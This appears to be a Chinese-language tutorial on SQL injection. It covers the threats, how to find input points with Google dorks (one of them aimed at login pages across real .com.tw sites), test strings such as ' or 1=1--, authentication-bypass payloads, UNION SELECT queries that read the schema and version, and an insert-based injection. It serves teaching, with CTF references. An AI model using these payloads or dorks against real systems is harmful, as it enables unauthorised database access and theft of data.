SQL Injection

SQL injection is a technique of injecting sql commands to exploit non-validated input

SQL Injection威脅

*可以得到資料庫中的一些重要資料,例如帳號、密碼、姓名、地址等等.
*可以取得資料庫系統運作的schema,得到資料庫的表格名稱、欄位名稱等,提供攻擊者進一步的進攻相關資訊.
*存入惡意sql或修改資料庫的資料,例如修改特定使用者或系統管理員的密碼.
*刪除重要的資料造成系統無法正常運作,導致系統癱瘓.
*透過資料庫SQL執行作業系統的指令,這允許攻擊者可以控制整個作業系統

 

基本sql注入範例

假設原始sql如下
SELECT Title,Content FROM articles WHERE id = $id
假設輸入點如下
http://example.com/show.php?id=1

透過以下sql injection可改變資料庫操作行為
http://example.com/show.php?id=1 or 1=1

因為新的sql會變以下,這會將所有資料撈出 SELECT Title,Content FROM articles WHERE id =1 or 1=1

 

Steps for performing sql injection

1尋找輸入點
2測試是否有漏洞
3注入不合法的sql指令

 


1尋找輸入點

判斷使用get或post方式注入

ex:
尋找網路上所有可能輸入點
用google搜尋login.asp site:com.tw

ex:
尋找demo.testfire.net的輸入點
用google搜尋site:demo.testfire.net inurl:login

 


2測試是否有漏洞

在輸入點輸入特殊字串判斷是否有弱點
依據不同source code寫法有以下不同的對應方式

ex:
' or 1=1--
" or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a)

ps:
其他透過單引號判斷的方式
https://hebrtcp.wordpress.com/2015/09/04/sql-injection%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A/
https://medium.com/@gordonfang_85054/資安滲透攻防筆記-1-c9a6b8ada5fa

 


3注入不合法的sql指令

常見的注入像是authorization bypass,透過select command挖資料,透過insert command注入資料等

authorization bypass

範例1如下

假設原始sql如下
"SELECT * FROM users WHERE (id= '"+username+"') and (pw= '"+ password+"');"

透過以下可以饒過認證
username = "1' OR '1'='1";
password = "1' OR '1'='1";

因為新的sql會變以下,改變原本行為
"SELECT * FROM users WHERE (id= '1' OR '1'='1') and (pw= '1' OR '1'='1');"

範例2如下

假設原始sql如下
SELECT * FROM user WHERE account = '$account' AND password = '$password'  

透過以下可以饒過認證
$account= 'OR 1=1 #

因為新的sql會變以下,改變原本行為
SELECT * FROM user WHERE account = '' OR 1=1 # AND password = '' 

refer
https://web.ctflearn.com/web04

 

透過select command挖資料

範例1如下

假設原始sql如下
SELECT author,title FROM blog WHERE id=$id

如果$id注入以下可撈到相關資訊
0 UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS

因為新的sql會變以下,改變原本行為
SELECT author,title FROM blog WHERE id=0 UNION SELECT  table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS

範例2如下

假設原始sql如下
SELECT * FROM user WHERE account = '$account' AND password = '$password'  

如果$account注入以下可撈到相關資訊
'UNION SELECT  @@version,database()#

因為新的sql會變以下,改變原本行為
SELECT * FROM user WHERE account = ''UNION SELECT  @@version,database()# AND password = '' 

ps:
@@Version:Transact SQL Configuration Functions

refer
https://web.ctflearn.com/web4/

 

透過insert command注入資料

範例如下

假設原始sql如下
"insert into tablename values ("+$name+","+$email+","+"$phone")"

如果$name填入以下可存入sql語法
(select top 1 fieldname from tablename)

因為新的sql會變以下,改變原本行為
"insert into tablename values ("+(select top 1 fieldname from tablename)+","ray@ray.com","666-6666")"

之後配合原本對應程式撈出來後,就會執行select top 1 fieldname from tablename